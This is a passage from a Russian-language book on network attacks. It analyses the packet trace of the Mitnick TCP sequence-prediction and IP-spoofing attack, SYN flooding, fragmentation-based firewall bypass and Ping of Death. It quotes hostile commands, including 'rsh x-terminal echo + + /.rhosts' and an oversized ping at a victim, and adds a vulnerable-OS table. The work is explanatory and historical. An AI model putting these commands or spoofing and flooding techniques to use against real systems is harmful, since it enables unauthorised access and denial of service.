apollo.it.luc.edu.998: S 2022080000:2022080000(0)
ack 1382726993 win 4096 14:18:27.251840 apollo.it.luc.edu.998
x-terminal.shell: R 1382726993:1382726993(0) win 0 14:18:27.544069
apollo.it.luc.edu.997 x-terminal.shell: S 1382726993:1382726993(0) win
4096 14:18:27.714932 x-terminal.shell apollo.it.luc.edu.997: S
2022208000:2022208000(0)
ack 1382726994 win 4096 14:18:27.794456 apollo.it.luc.edu.997
x-terminal.shell: R 1382726994:1382726994(0) win 0 14:18:28.054114
apollo.it.luc.edu.996 x-terminal.shell: S 1382726994:1382726994(0) win
4096 14:18:28.224935 x-terminal.shell apollo.it.luc.edu.996: S
2022336000:2022336000(0)
ack 1382726995 win 4096 14:18:28.305578 apollo.it.luc.edu.996
x-terminal.shell: R 1382726995:1382726995(0) win 0 14:18:28.564333
apollo.it.luc.edu.995 x-terminal.shell: S 1382726995:1382726995(0) win
4096 14:18:28.734953 x-terminal.shell apollo.it.luc.edu.995: S
2022464000:2022464000(0)
ack 1382726996 win 4096 14:18:28.811591 apollo.it.luc.edu.995
x-terminal.shell: R 1382726996:1382726996(0) win 0 14:18:29.074990
apollo.it.luc.edu.994 x-terminal.shell: S 1382726996:1382726996(0) win
4096 14:18:29.274572 x-terminal.shell apollo.it.luc.edu.994: S
2022592000:2022592000(0)
ack 1382726997 win 4096 14:18:29.354139 apollo.it.luc.edu.994
x-terminal.shell: R 1382726997:1382726997(0) win 0 14:18:29.354616
apollo.it.luc.edu.994 x-terminal.shell: R 1382726997:1382726997(0) win 0
14:18:29.584705 apollo.it.luc.edu.993 x-terminal.shell: S
1382726997:1382726997(0) win 4096 14:18:29.755054 x-terminal.shell
apollo.it.luc.edu.993: S 2022720000:2022720000(0)
ack 1382726998 win 4096 14:18:29.840372 apollo.it.luc.edu.993
x-terminal.shell: R 1382726998:1382726998(0) win 0 14:18:30.094299
apollo.it.luc.edu.992 x-terminal.shell: S 1382726998:1382726998(0) win
4096 14:18:30.265684 x-terminal.shell apollo.it.luc.edu.992: S
2022848000:2022848000(0)
ack 1382726999 win 4096 14:18:30.342506 apollo.it.luc.edu.992
x-terminal.shell: R 1382726999:1382726999(0) win 0 14:18:30.604547
apollo.it.luc.edu.991 x-terminal.shell: S 1382726999:1382726999(0) win
4096 14:18:30.775232 x-terminal.shell apollo.it.luc.edu.991: S
2022976000:2022976000(0)
ack 1382727000 win 4096 14:18:30.852084 apollo.it.luc.edu.991
x-terminal.shell: R 1382727000:1382727000(0) win 0 14:18:31.115036
apollo.it.luc.edu.990 x-terminal.shell: S 1382727000:1382727000(0) win
4096 14:18:31.284694 x-terminal.shell apollo.it.luc.edu.990: S
2023104000:2023104000(0)
ack 1382727001 win 4096 14:18:31.361684 apollo.it.luc.edu.990
x-terminal.shell: R 1382727001:1382727001(0) win 0 14:18:31.627817
apollo.it.luc.edu.989 x-terminal.shell: S 1382727001:1382727001(0) win
4096 14:18:31.795260 x-terminal.shell apollo.it.luc.edu.989: S
2023232000:2023232000(0)
ack 1382727002 win 4096 14:18:31.873056 apollo.it.luc.edu.989
x-terminal.shell: R 1382727002:1382727002(0) win 0 14:18:32.164597
apollo.it.luc.edu.988 x-terminal.shell: S 1382727002:1382727002(0) win
4096 14:18:32.335373 x-terminal.shell apollo.it.luc.edu.988: S
2023360000:2023360000(0)
ack 1382727003 win 4096 14:18:32.413041 apollo.it.luc.edu.988
x-terminal.shell: R 1382727003:1382727003(0) win 0 14:18:32.674779
apollo.it.luc.edu.987 x-terminal.shell: S 1382727003:1382727003(0) win
4096 14:18:32.845373 x-terminal.shell apollo.it.luc.edu.987: S
2023488000:2023488000(0)
ack 1382727004 win 4096 14:18:32.922158 apollo.it.luc.edu.987
x-terminal.shell: R 1382727004:1382727004(0) win 0 14:18:33.184839
apollo.it.luc.edu.986 x-terminal.shell: S 1382727004:1382727004(0) win
4096 14:18:33.355505 x-terminal.shell apollo.it.luc.edu.986: S
2023616000:2023616000(0)
ack 1382727005 win 4096 14:18:33.435221 apollo.it.luc.edu.986
x-terminal.shell: R 1382727005:1382727005(0) win 0 14:18:33.695170
apollo.it.luc.edu.985 x-terminal.shell: S 1382727005:1382727005(0) win
4096 14:18:33.985966 x-terminal.shell apollo.it.luc.edu.985: S
2023744000:2023744000(0)
ack 1382727006 win 4096 14:18:34.062407 apollo.it.luc.edu.985
x-terminal.shell: R 1382727006:1382727006(0) win 0 14:18:34.204953
apollo.it.luc.edu.984 x-terminal.shell: S 1382727006:1382727006(0) win
4096 14:18:34.375641 x-terminal.shell apollo.it.luc.edu.984: S
2023872000:2023872000(0)
ack 1382727007 win 4096 14:18:34.452830 apollo.it.luc.edu.984
x-terminal.shell: R 1382727007:1382727007(0) win 0 14:18:34.714996
apollo.it.luc.edu.983 x-terminal.shell: S 1382727007:1382727007(0) win
4096 14:18:34.885071 x-terminal.shell apollo.it.luc.edu.983: S
2024000000:2024000000(0)
ack 1382727008 win 4096 14:18:34.962030 apollo.it.luc.edu.983
x-terminal.shell: R 1382727008:1382727008(0) win 0 14:18:35.225869
apollo.it.luc.edu.982 x-terminal.shell: S 1382727008:1382727008(0) win
4096 14:18:35.395723 x-terminal.shell apollo.it.luc.edu.982: S
2024128000:2024128000(0)
ack 1382727009 win 4096 14:18:35.472150 apollo.it.luc.edu.982
x-terminal.shell: R 1382727009:1382727009(0) win 0 14:18:35.735077
apollo.it.luc.edu.981 x-terminal.shell: S 1382727009:1382727009(0) win
4096 14:18:35.905684 x-terminal.shell apollo.it.luc.edu.981: S
2024256000:2024256000(0)
ack 1382727010 win 4096 14:18:35.983078 apollo.it.luc.edu.981
x-terminal.shell: R 1382727010:1382727010(0) win 0
Видно, что каждый последующий ответный пакет SYN-ACK, посылаемый с
хоста x-terminal, имеет начальное значение идентификатора TCP-соединения
на 128000 больше, чем у предыдущего.
Из анализа приведенной распечатки пакетов видно, что каждое последующее
начальное значение ISN на хосте x-terminal.shell отличается от предыдущего
на 128000. Например, 2024256000 - 2024128000 = 128000 или 2024128000 -
2024000000 = 128000. Не правда ли,
Далее мы видим поддельный запрос на создание TCP-соединения якобы с
хоста server.login на x-terminal.shell. При этом x-terminal доверяет хосту
server и, следовательно, x-terminal будет выполнять все запросы,
переданные с этого хоста (или с любого другого, подменившего хост server).
X-terminal затем отвечает на хост server пакетом SYN-ACK и ожидает
подтверждения этого пакета ACK'ом, что должно означать открытие
соединения. Так как хост server игнорирует все пакеты, посланные на
server.login, то поддельный пакет атакующего, подтвержденный ACK'ом,
должен иметь успех.
Обычно значение подтверждения (ACK) берется из пакета SYN-ACK. Однако
атакующий, используя предсказание закона изменения начального значения
идентификатора TCP-соединения на хосте x-terminal, сможет получить
значение ACK без получения пакета SYN-ACK:
Используя полученную математическую зависимость для предсказания
значения ISN, атакующий может послать следующий пакет от имени
server.login со значением ACK, равным 2024384001, вычисленным по его
предыдущему значению 2024256000 добавлением к нему 12800
14:18:36.245045 server.login x-terminal.shell: S
1382727010:1382727010(0) win 4096 14:18:36.755522 server.login
x-terminal.shell: . ack 2024384001 win 4096
Хост атакующего сейчас имеет одностороннее соединение с
x-terminal.shell, который считает, что это соединение открыто с
server.login. Атакующий теперь может передавать пакеты с данными,
содержащими верные значения ACK, на x-terminal. Далее, он посылает
следующие пакеты:
14:18:37.265404 server.login x-terminal.shell: P 0:2(2) ack 1 win 4096
14:18:37.775872 server.login x-terminal.shell: P 2:7(5) ack 1 win 4096
14:18:38.287404 server.login x-terminal.shell: P 7:32(25) ack 1 win 4096
что означает выполнение следующей команды:
14:18:37 server# rsh x-terminal echo + + /.rhosts
Атакующий, завершая атаку, от имени server.login посылает на
x-terminal.shell три пакета, что эквивалентно выполнению на хосте server
следующей r-команды: rsh x-terminal "echo + + ""/.rhosts". Эта команда
дописывает в файл /.rhosts строчку + + и делает доверенными все станции.
Всего атака заняла менее 16 секунд.
Атакующий закрывает ложное соединение:
14:18:41.347003 server.login x-terminal.shell: . ack 2 win 4096
14:18:42.255978 server.login x-terminal.shell: . ack 3 win 4096
14:18:43.165874 server.login x-terminal.shell: F 32:32(0) ack 3 win 4096
14:18:52.179922 server.login x-terminal.shell: R 1382727043:1382727043(0)
win 4096 14:18:52.236452 server.login x-terminal.shell: R
1382727044:1382727044(0) win 4096
Далее, атакующий посылает RST-пакеты и, следовательно, закрывает ранее
открытые односторонние соединения с server.login, тем самым освобождая
очередь запросов:
14:18:52.298431 130.92.6.97.600
server.login: R 1382726960:1382726960(0) win 4096 14:18:52.363877
130.92.6.97.601
server.login: R 1382726961:1382726961(0) win 4096 14:18:52.416916
130.92.6.97.602
server.login: R 1382726962:1382726962(0) win 4096 14:18:52.476873
130.92.6.97.603
server.login: R 1382726963:1382726963(0) win 4096 14:18:52.536573
130.92.6.97.604
server.login: R 1382726964:1382726964(0) win 4096 14:18:52.600899
130.92.6.97.605
server.login: R 1382726965:1382726965(0) win 4096 14:18:52.660231
130.92.6.97.606
server.login: R 1382726966:1382726966(0) win 4096 14:18:52.717495
130.92.6.97.607
server.login: R 1382726967:1382726967(0) win 4096 14:18:52.776502
130.92.6.97.608
server.login: R 1382726968:1382726968(0) win 4096 14:18:52.836536
130.92.6.97.609
server.login: R 1382726969:1382726969(0) win 4096 14:18:52.937317
130.92.6.97.610
server.login: R 1382726970:1382726970(0) win 4096 14:18:52.996777
130.92.6.97.611
server.login: R 1382726971:1382726971(0) win 4096 14:18:53.056758
130.92.6.97.612
server.login: R 1382726972:1382726972(0) win 4096 14:18:53.116850
130.92.6.97.613
server.login: R 1382726973:1382726973(0) win 4096 14:18:53.177515
130.92.6.97.614
server.login: R 1382726974:1382726974(0) win 4096 14:18:53.238496
130.92.6.97.615
server.login: R 1382726975:1382726975(0) win 4096 14:18:53.297163
130.92.6.97.616
server.login: R 1382726976:1382726976(0) win 4096 14:18:53.365988
130.92.6.97.617
server.login: R 1382726977:1382726977(0) win 4096 14:18:53.437287
130.92.6.97.618
server.login: R 1382726978:1382726978(0) win 4096 14:18:53.496789
130.92.6.97.619
server.login: R 1382726979:1382726979(0) win 4096 14:18:53.556753
130.92.6.97.620
server.login: R 1382726980:1382726980(0) win 4096 14:18:53.616954
130.92.6.97.621
server.login: R 1382726981:1382726981(0) win 4096 14:18:53.676828
130.92.6.97.622
server.login: R 1382726982:1382726982(0) win 4096 14:18:53.736734
130.92.6.97.623
server.login: R 1382726983:1382726983(0) win 4096 14:18:53.796732
130.92.6.97.624
server.login: R 1382726984:1382726984(0) win 4096 14:18:53.867543
130.92.6.97.625
server.login: R 1382726985:1382726985(0) win 4096 14:18:53.917466
130.92.6.97.626
server.login: R 1382726986:1382726986(0) win 4096 14:18:53.976769
130.92.6.97.627
server.login: R 1382726987:1382726987(0) win 4096 14:18:54.039039
130.92.6.97.628
server.login: R 1382726988:1382726988(0) win 4096 14:18:54.097093
130.92.6.97.629
server.login: R 1382726989:1382726989(0) win 4096
Хост server.login снова готов к приему запросов на создание соединения .
Мы намеренно не стали вдаваться в подробное литературное описание этого
инцидента (беллетристики о Митнике более чем достаточно), а остановились
только на технических подробностях этой удаленной атаки. В заключение
приведем слова Шимомуры, сказанные им в интервью после поимки Митника: Из
того, что я видел, мне он не кажется таким уж большим специалистом.
И добавил: Проблема не в Кевине, проблема в том, что большинство систем
действительно плохо защищены. То, что делал Митник, остается осуществимым
и сейчас .
Кстати, по поводу того, был ли на самом деле Кевин Митник кракером
высшего класса, ходит много споров. То, что он начинал как фрикер
(phreaker) высшего класса, очевидно всем. Далее его кракерскую
деятельность до первого похода в тюрьму трудно назвать пр
4.6. Нарушение работоспособности хоста в сети
Internet при использовании направленного шторма ложных TCP-запросов на
создание соединения, либо при переполнении очереди запросов
Из рассмотренной в предыдущем пункте схемы создания TCP-соединения
следует, что на каждый полученный TCP-запрос на создание соединения
операционная система должна сгенерировать начальное значение
идентификатора ISN и отослать его в ответ на запросивший хост. При этом,
так как в сети Internet (стандарта IPv4) не предусмотрен контроль за
IP-адресом отправителя сообщения, то невозможно отследить истинный
маршрут, пройденный IP-пакетом, и, следовательно, у конечных абонентов
сети нет возможности ограничить число возможных запросов, принимаемых в
единицу времени от одного хоста.
Поэтому возможно осуществление типовой УА Отказ в обслуживании (п.
3.2.4), которая будет заключаться в передаче на атакуемый хост как можно
большего числа ложных TCP-запросов на создание соединения от имени любого
хоста в сети (рис. 4.11). При этом атакуемая сетевая ОС в зависимости от
вычислительной мощности компьютера либо - в худшем случае - практически
зависает, либо - в лучшем случае - перестает реагировать на легальные
запросы на подключение (отказ в обслуживании). Это происходит из-за того,
что для всей массы полученных ложных запросов система должна, во-первых,
сохранить в памяти полученную в каждом запросе информацию и, во-вторых,
выработать и отослать ответ на каждый запрос. Таким образом, все ресурсы
системы съедаются ложными запросами:
переполняется очередь запросов и система занимается только их
обработкой. Эффективность данной удаленной атаки тем выше, чем больше
пропускная способность канала между атакующим и целью атаки, и тем меньше,
чем больше вычислительная мощь атакуемого компьютера (число и
быстродействие процессоров, объем ОЗУ и т. д.).
Рис. 4.1.1 Нарушение работоспособности хоста в Internet, использующее
направленный шторм ложных TCP-запросов на создание соединения.
С нашей точки зрения, очевидность данной удаленной атаки была ясна еще
лет двадцать назад, когда появилось семейство протоколов TCP/IP. Корни
этой атаки находятся в самой инфраструктуре сети Internet, в ее базовых
протоколах - IP и TCP. Но каково же было наше удивление, когда мыувидели
на информационном WWW-сервере CERT (Computer Emergency Respone Team)
первое упоминание об этой удаленной атаке, датированное только 19
сентября 1996 года! Там эта атака носила название TCP SYN Flooding and IP
Spoofing Attacks - навод-нение TCP-запросами с ложных IP-адресов.
Другая разновидность атаки Отказ в обслуживании состоит в передаче на
атакуемый хост нескольких десятков (сотен) запросов на подключение к
серверу, что может привести к временному (до 10 минут) переполнению
очереди запросов на сервере (см. атаку К. Митника из п. 4.5.2 и пример с
ОС Linux 1.2.8 в конце данного пункта). Это происходит из-за того, что
некоторые сетевые ОС устроены так, чтобы обрабатывать только первые
несколько запросов на подключение, а остальные - игнорировать. То есть при
получении N запросов на подключение, ОС сервера ставит их в очередь и
генерирует соответственно N ответов. Далее, в течение определенного
промежутка времени, (тайм-аут ? 10 минут) сервер будет дожидаться от
предполагаемого клиента сообщения, завершающего handshake и
подтверждающего создание виртуального канала с сервером. Если атакующий
пришлет на сервер количество запросов на подключение, равное максимальному
числу одновременно обрабатываемых запросов на сервере, то в течение
тайм-аута остальные запросы на подключение будут игнорироваться и к
серверу будет невозможно подключиться.
Эксперименты с данной удаленной атакой, проводимые на различных сетевых
ОС в экспериментальных 10-мегабитных сегментах сети, выявили следующие
интересные результаты, с которыми авторы считали бы необходимым вас
ознакомить. В случае передачи по каналу связи максимально возможного числа
TCP-запросов на создание соединения и нахождении атакующего в одном
сегменте с целью атаки атакуемые системы вели себя следующим образом: ОС
Windows '95, установленная на 486DX2-66 с 8 Мб ОЗУ, замирала и переставала
реагировать на всяческие внешние воздействия (нажатия на клавиатуру,
например); ОС Linux 2.0.0 на 486DX4-133 c 8 Мб ОЗУ тоже практически
прекращала всякую работу и обрабатывала одно нажатие на клавиатуре
примерно 30 секунд. Мало того, что к этим атакованным хостам было,
естественно, невозможно получить удаленный доступ, но и локальный доступ
был невозможен!
Наилучший результат в процессе этого теста показал двухпроцессорный
файрвол: удаленное подключение к нему было также невозможно, но
осуществляемая атака на локальных пользователях никак не сказывалась
(все-таки два процессора).
Не менее интересным было поведение атакуемых систем после снятия
воздействия. ОС Windows '95 практически сразу же после прекращения
воздействия начала нормально функционировать; в ОС Linux 2.0.0 с 8 Мб ОЗУ,
по-видимому, переполнился буфер, и более получаса система не
функционировала ни для удаленных, ни для локальных пользователей, а
занималась передачей ответов на полученные ранее запросы.
Двухпроцессорный файрвол сразу же после снятия воздействия стал
доступен для удаленного доступа.
При нахождении с атакуемыми системами в соседних смежных сегментах
выяснилось следующее: OC Windows '95 на Pentium100 с 16 Мб ОЗУ
обрабатывала каждое нажатие на клавиатуре примерно секунду, ОС Linux 2.0.0
на Pentium100 с 16 Мб ОЗУ практически повисла - одно нажатие за 30 секунд,
зато после снятия воздействия у локального пользователя немедленно
появилась возможность нормальной работы.
Не нужно обманываться результатами этого теста и считать, что Windows
'95 показала себя с лучшей стороны. Это связано только лишь с тем, что
передаваемые TCP-запросы направлялись на FTP-порт, то есть это был запрос
на подключение к FTP-серверу, а так как Windows'95 - принципиально
клиентская операционная система и FTP-сервера под нее нет, то,
следовательно, сохранять в памяти параметры запроса и дожидаться окончания
handshake ей просто не было необходимости.
В процессе эксперимента также была выявлена одна принципиальная
слабость, присущая всем ОС Linux. После передачи около десятка запросов на
определенный порт (FTP или TELNET) на некоторое время (до нескольких
десятков минут) на атакуемом хосте отключался соответствующий данному
порту сервер (каждая программа-сервер ожидает запросов на определенном
зарезервированном порту), то есть в течение определенного промежутка
времени у пользователей не было возможности удаленно подключиться к
данному серверу и получить удаленный доступ к его ресурсам. Это, как уже
говорилось ранее, связано с переполнением числа одновременно обслуживаемых
данным сервером клиентов.
В заключение необходимо отметить, что в существующем стандарте сети
Internet IPv4 нет приемлемых способов надежно обезопасить свои системы от
этой удаленной атаки. К счастью, атакующий в результате осуществления
описанной атаки не сможет получить несанкционированный доступ к вашей
информации. Он сможет лишь съесть вычислительные ресурсы вашей системы и
нарушить ее связь с внешним миром.
Остается надеяться, что нарушение работоспособности вашего хоста просто
никому не нужно.
4.7. Мифические удаленные атаки в сети Internet
В завершении разговора об удаленных атаках в сети Internet авторы
хотели бы рассказать о так называемых мифических удаленных атаках. К этим
курьезным атакам можно отнести почти реально осуществимые угрозы,
основанные на реальных особенностях протоколов Internet.
Почти осуществимые угрозы на практике нельзя осуществить (п. 4.7.1),
либо вероятность их успеха чрезвычайно небольшая (п. 4.7.2). Однако
шумиха, поднимаемая некоторыми не совсем компетентными зарубежными
экспертами по безопасности Internet, вводящими в заблуждение многих
пользователей, создает миф об этих атаках, которые на самом деле
практически никому не угрожают.
4.7.1. IP-фрагментация как способ проникновения через Firewall Как
известно из описания протокола IP (RFC 791),максимальный размер IP-пакета
может достигать 216-1 байт. Однако размер пакета (дейтаграм-мы),
передаваемого непосредственно по каналу передачи, зависит от типа среды
передачи. Например, в среде Ethernet максимальный размер дейтаграммы 1500
байт, в среде ATM - 56 байт. Поэтому для того, чтобы IP-пакеты могли
передаваться по сетям любых типов, в протоколе IP предусмотрена
фрагментация пакетов. То есть для передачи одного большого пакета он
разбивается на соответствующее количество пакетов меньших размеров (их
размер обуславливается максимальным размером пакета в соответствующей
среде передачи). Этот процесс разбиения IP-пакета на части называется
IP-фрагментацией. Применение в сети Internet фрагментации пакетов делает
ее более гибкой и инвариантной по отношению к разнообразным физическим
средам передачи. На рисунке 4.12 приведен формат IP-пакета версии IPv4.
Не будем вдаваться в подробности, что означает каждое поле в
IP-заголовке (RFC 791), так как в данном случае нас будут интересовать
только поля Fragment Offset и Flags. В поле Fragment Offset содержится
значение, измеряемое восьмерками байт, обозначающее смещение фрагмента
относительно начала дейтаграммы (именно на то, что оно измеряется в
восьмерках байт, и не обратил внимание д-р F. B. Cohen в его статье Packet
Fragmentation Attacks [28]). Таким образом, единица в этом поле означает
смещение на 8 байт от начала дейтаграммы. Поле Flags показывает
фрагментирован ли пакет или нет.
Итак, каков механизм предполагаемого воздействия? Как известно, одной
из основных функций всех файрволов является фильтрация проходящего через
них сетевого трафика. В случае фильтрации на сетевом уровне ограничивается
возможность доступа к определенным службам защищаемых хостов. Тип службы,
на которую направляется пакет, определяется параметром порт назначения в
заголовке пакета TCP или UDP (рис 4.12). Поэтому файрвол анализирует этот
параметр и проверяет его соответствие тем правилам фильтрации, которые на
нем установлены.
В случае соответствия правилам пакет пропускается дальше, в противном
случае - отфильтровывается.
Рис. 4.12. Формат IP-пакета версии IPv4.
4-bit Version 4-bit Header Length 8-bit Type of Service 16-bit Total
Length
16-bit Identification 3-bit Flags 13-bit Fragment Offset
8-bit Time to Live 8-bit Protocol 16-bit Header Checksum
32-bit Source Address
32-bit Destination Address
Options Padding
Data
Рис. 4.13. Формат TCP-пакета.
16-bit Source Port Number 16-bit Destination Port Number
32-bit Sequence Number
32-bit Acknowledgement Number
4-bit Header Length 6-bit Reserved 6-bit Flags 16-bit Window Size
16-bit TCP Checksum 16-bit Urgent Pointer
Options Padding
Data
Рис. 4.14. Формат UDP-пакета.
16-bit Source Port Number 16-bit Destination Port Number
16-bit Length 16-bit Checksum
Data
В своей статье Packet Fragmentation Attacks (опубликована в All.net)
доктор F. B. Cohen предложил следующий сценарий предполагаемой атаки,
заключающейся в прохождении фрагментированного пакета через файрвол, минуя
правила фильтрации. Атакующий разбивает пакет на два фрагмента, первый из
которых содержит фиктивный TCP- или UDP-заголовок с номером порта
назначения, который не фильтруется правилами на файрволе (например, 25
порт - почтовый SMTP-сервер), а второй имеет такое смещение (равное 1) в
поле Fragment Offset, что перекрывает первый пакет и записывает в поле
"порт назначения" истинное значение порта той службы, к которой доступ
через файрвол запрещен. В этом случае правила фильтрации на файрволе
пропустят этот IP-пакет, так файрвол не занимается сборкой
фрагментированных IP-пакетов.
С этой статьей д-р Cohen'a [28] происходили с течением времени довольно
любопытные изменения. В статье, которую авторы нашли на WWW-сервере
all.net в мае 1996 года, для осуществления атаки предлагалось занести в
поле Fragment Offset значение, равное 1 (
Действительно, сборкой фрагментированных IP-па-кетов занимается
операционная система конечного получателя пакета, и при сборке, как
правило, не проверяется, не накладываются ли фрагменты пакета друг на
друга. Сетевая ОС собирает фрагментированный пакет и передает его
соответствующей службе, основываясь на значении в поле порт назначения .
На первый взгляд атака состоялась: фрагментированный пакет, направленный
одной службе, прошел через файрвол и при сборке фрагментов передался
другой службе, доступ на которую был запрещен правилами фильтрации
файрвола. Однако, д-р F. B. Cohen не учел того важного факта, что значение
в поле смещения согласно спецификации указывается в восьмерках байт, и
даже если установить это значение в единицу и предположить, что сетевая ОС
не проверяет наложение фрагментов, то после сборки фрагментов наложение
произойдет только после первых восьми байт TCP- или UDP-заголовка, в
которых, как видно из рис. 4.12, и содержатся поля портов назначения.
Через некоторое время после опубликования статьи д-р Cohen, видимо,
обнаружил описанную выше ошибку и внес в сценарий атаки одно изменение:
единица в поле Fragment Offset теперь была им заменена на 0!
Проанализируем, насколько это изменение сделает возможным осуществление
данной атаки.
Действительно, в этом случае атака может быть успешной, так как поле
Flags (индикатор фрагментации ) во втором пакете атакующий может заполнить
нужным ему образом, а ведь именно на основании значения из этого поля
сетевая ОС должна принимать решение о начале сборки фрагментов.
Об этом поле в сценарии атаки др. Cohen'a даже не упоминается!
Однако, анализ исходных текстов ядра операционных систем Linux и
FreeBSD показал, что IP-пакет будет воспринят этими ОС как фрагмент только
в том случае, если значение в поле Fragment Offset не равно 0! Тем не
менее, так как в алгоритме сборки фрагментов, описанном в RFC 791, не
требуется обязательная проверка значения этого поля, то возможно, что
некоторые сетевые ОС ее не производят (что маловероятно!) и,
следовательно, атака может иметь успех.
Как нам кажется, сама идея наложения фрагментов является достаточно
любопытна. Другое дело, что применение ее для проникновения пакетов
атакующего через Firewall в существующем стандарте IPv4 представляется
маловероятным.
4.7.2. Превышение максимально возможного размера IP-пакета или Ping
Death
В максимальный размер IP-пакета (65535 байт)
включается длина IP-заголовка и длина поля данных в IP-пакете. Так как
IP-заголовок имеет минимальный размер в 20 байт (максимальный в 60), то,
соответственно, размер передаваемых в одном IP-пакете данных не может
превышать 65535- 20 = 65515 байт. А что будет, если превысить этот
максимальный размер IP-пакета?
Тестировать свои программы на минимальных и, самое главное, на
максимальных значениях, то есть на предельных критических значениях -
стандартный для любого программиста ход.
Подобные тесты позволяют выявить такие неприятные ошибки, как
всевозможные переполнения (буфера, стека, переменной и т. д.).
Вернемся к IP. В принципе, ничто не мешает атакующему сформировать
набор фрагментов, которые после сборки превысят максимально возможный
размер IP-пакета. Собственно, в этой фразе и сформулирована основная идея
данной атаки.
Итак, 18 декабря 1996 года на информационном сервере CERT появились
сообщения о том, что большинство сетевых ОС, поддерживающих протоколы
TCP/IP, обладают следующей уязвимостью:
при передаче на них IP-пакета длиной, превышающей максимально
допустимое значение, в этих ОС переполняется буфер или переменная, и
система зависает или перезагружается и т. п. - отказ в обслуживании! Также
был приведен следующий список потенциально опасных платформ:
Berkeley Software Design, Inc. (BSDI); Computer Associates, Intl.
(products for NCR); Cray Research; Digital Equipment Corporation; FreeBSD,
Inc.; Hewlett-Packard Company; IBM Corporation; Linux Systems; NEC
Corporation; Open Software Foundation (OSF); The Santa Cruz Operation,
Inc. (SCO); Sun Microsystems, Inc.
Увидев сообщение о подобной атаке и, главное, этот перечень
операционных систем на различных платформах, мы с величайшим удивлением
долго его перечитывали, а потом принялись за эксперименты.
Наше глубочайшее изумление вызвал тот факт, что подобную
элементарнейшую ошибку переполнения буфера в модуле IP ядра ОС за почти 20
лет активного функционирования протокола IP в различных ОС разработчики
сегодняшних систем, да еще в таком массовом количестве, до сих пор не
замечали!
Поэтому мы позволили себе не поверить столь уважаемой организации, как
CERT. Но прежде, чем начать эксперименты, было решено посмотреть по
указанной в CERT ссылке [29] на WWW-сервер, где экспертами проводились
подобные исследования на различных ОС. Там, собственно как и в CERT, эта
атака называлась Ping Death . На этом WWW-сервере предлагалось реализовать
такую атаку следующим образом: на рабочей станции с ОС Windows '95 или
Windows NT необходимо выполнить следующую команду:
ping -l 65527 victim.destination.IP. address (поэтому - Ping Death ).
Так как обычный размер IP-заголовка составляет 20 байт, размер
ICMP-заголовка - 8 байт, то подобный ICMP-пакет будет превышать
максимально возможный размер IP-пакета на 20 байт (65527 + 20 +8 - 65535 =
20).
Таким образом эти эксперты декларировали, что обычной командой ping
якобы можно нарушить работоспособность практически любой сетевой ОС. В
завершение на этом сервере приводилась следующая таблица тестирования
различных операционных систем, на которые данная удаленная атака якобы
произвела необходимый эффект. Далее авторы хотели бы продемонстрировать
вам эту таблицу с существенными сокращениями (см. табл. 4.13).
Не правда ли, эта таблица операционных систем, обладающих такой
уязвимостью, производит должное впечатление!
Итак, мы начали тестирование и, честно говоря, абсолютно не удивились,
когда ни одна из исследуемых операционных систем, ни IRIX, ни AIX, ни VMS,
ни SunOs, ни FreeBSD, ни Linux, ни Windows NT 4.0, ни даже Windows '95 и
Windows for WorkGroups 3.11, абсолютно никак не реагировали на подобный
некорректный запрос и продолжали нормально функционировать! Тогда были
предприняты специальные поиски ОС, которую бы действительно вывела из
строя данная атака. Ею оказалась Windows 3.11 с WinQVT - эта ОС
действительно зависла.
Таблица 4.13
Уязвимые операционные системы
Operating system Version Symptoms
Solaris (x86)
2.4, 2.5, 2.5.1
Reboot
Minix 1.7.4, v2.0 and probably others Crash
HP3000 MPE/iX 4.0, 5.0, 5.5
System abort
Convex SPP-UX All version Crash
Apple Mac MacOs 7.x.x Crash
Windows 3.11 with Trumpet Winsock ?
Mixed reports
Novell NetWare 3.x Mixed results
Windows '95 All of 'em Crrrash
AIX
3 and 4 Operating system dump.
Linux ? 2.0.23
Spontaneous reboot or kernel panic
DEC Unix/OSF1 2.0 and above Kernel Panic
Open VMS for AXP various Mixed reports
Open VMS for VAX v6.2, UCX v4.0 and others Reboot
HP-UX
9.0 to 10.20 Crash, Reboot, Hang ...
Windows NT 3.5.1
Mixed results
Irix 5.3
Panic
Windows NT 4.0
Crash
SCO Openserver 4.2, 5.0.x Vulnerable
DEC TOPS-20, TOPS-10
All Errors
Digital Firewall ?
Vulnerable
AltaVista Firewall for UNIX ?
Vulnerable
На запрос, посланный этим так называемым экспертам , которым столь
доверяют CERT и CIAC, где мы попросили прояснить возникшую ситуацию, а
также сведения из таблицы 4.13, был получен ответ; в нем говорилось, что
успех данной атаки зависит от многих факторов, а именно: программного и
аппаратного обеспечения, установленного на компьютере и, самое главное, от
фазы луны.
Согласитесь, полный бред! Для полноты картины мы хотели бы далее
привести описание exploit'а, созданного для Windows NT 4.0, задача
которого, используя ping, завесить собственный компьютер.
Первым шагом предлагалось запустить Web Browser (?). На втором шаге
требовалось запустить taskmgr (Task Manager)
(??). В комментариях к этому шагу говорилось, что так Ping Death
работает лучше (еще не хватает шаманского бубна!). И, наконец, требовалось
запустить 18 ping-процессов (???) (не больше и не меньше; может быть,
лучше сразу 100 - чего мелочиться!). Если вы думаете, что далее ваша ОС
немедленно повиснет, то вы ошибаетесь! В комментариях к exploit'у до
получения эффекта предлагалось ждать примерно 10 минут, с философским
замечанием о том, что ожидание может продлиться несколько больше
(интересно на сколько больше - час, месяц, год ?!) или несколько меньше.
В итоге можно сделать вывод, что шумиха, поднятая в CERT и CIAC по
поводу данной атаки, является безосновательной, и ничего другого нам,
видимо, не остается, как назвать эту атаку очередной программистской
байкой и причислить ее к разряду практически неосуществимых.
5. Причины успеха удаленных атак на распределенные вычислительные
системы и сеть Internet
"То, что изобретено одним человеком,
может быть понято другим,"-
сказал Холмс.
А.Конан-Дойл.
Пляшущие человечки.
В двух предыдущих главах было показано, что общие принципы построения
распределенных ВС позволяют выделить в отдельный класс угрозы,
характеризующие только распределенные системы.
Было введено такое понятие, как типовая удаленная атака, и были
предложены механизмы реализации удаленных атак (УА) всех типов.
Понятие типовой УА позволило классифицировать угрозы безопасности
распределенным ВС вообще, поскольку типовые УА инвариантны по отношению к
конкретному типу РВС. Инвариантность типовых УА основана на том, что они
направлены на основополагающие принципы построения, заложенные в
инфраструктуру любой распределенной системы.
Предложенные в этой книге описание, характеристика и классификация
основных типов УА позволяют говорить о практической методике исследования
безопасности РВС. Основой этой методики является последовательное
осуществление УА всех типов; при этом основным средством анализа
безопасности сетевого взаимодействия объектов распределенной системы будет
являться описанный в 3 главе сетевой анализ (анализ сетевого трафика).
Итак, в данной главе будут подробно рассмотрены основные причины, из-за
которых возможны удаленные атаки. Наша цель состоит в том, чтобы
